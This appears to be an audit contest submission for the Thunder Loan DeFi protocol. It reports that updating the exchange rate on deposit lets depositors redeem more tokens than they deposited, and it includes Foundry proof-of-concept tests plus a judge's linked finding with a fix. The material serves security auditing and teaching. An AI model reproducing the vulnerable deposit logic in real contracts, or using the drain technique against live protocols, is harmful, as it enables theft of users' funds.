Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: high
Valid

Dos When redeeming

Root + Impact

Description

when depositing assets in the `ThunderLoan:deposit()` function, the exchange rate is updated for the asset Token through the `updateExchangeRate` function, But as the invariant suggests , the exchange rate always increases. Thus when the exchange rate increases, the users coming after the previous users, the exchange rate will increases for the coming users. Therefore, when a user deposits and redeems, thus increasing the exchange rate , the previous user which have deposited cannot redeem the whole tokens as there will be less tokens for him.

Risk

Likelihood:

this is likely to happen when redeeming

Impact:

Dos when redeeming

Proof of Concept

```solidity
function test_DosWhenRedeeming() public {
vm.prank(thunderLoan.owner());
AssetToken assetToken = thunderLoan.setAllowedToken(tokenA, true);
vm.startPrank(user);
deal(address(tokenA), user, 10_000 * 1e18);
tokenA.approve(address(thunderLoan), 10_000 * 1e18);
thunderLoan.deposit(tokenA, 10_000 * 1e18);
vm.stopPrank();
console.log(assetToken.getExchangeRate());
// 1003000000000000000
console.log(assetToken.balanceOf(user));
address attacker = makeAddr("attacker");
deal(address(tokenA), attacker, 10_000 * 1e18);
vm.startPrank(attacker);
tokenA.approve(address(thunderLoan), 10_000 * 1e18);
thunderLoan.deposit(tokenA, 10_000 * 1e18);
console.log(assetToken.getExchangeRate());
// 1003000000000000000
console.log(assetToken.balanceOf(attacker));
thunderLoan.redeem(tokenA, type(uint256).max);
console.log(tokenA.balanceOf(attacker));
vm.stopPrank();
vm.prank(user);
thunderLoan.redeem(tokenA, type(uint256).max);
console.log(tokenA.balanceOf(user));
}
```

Recommended Mitigation

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 10 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

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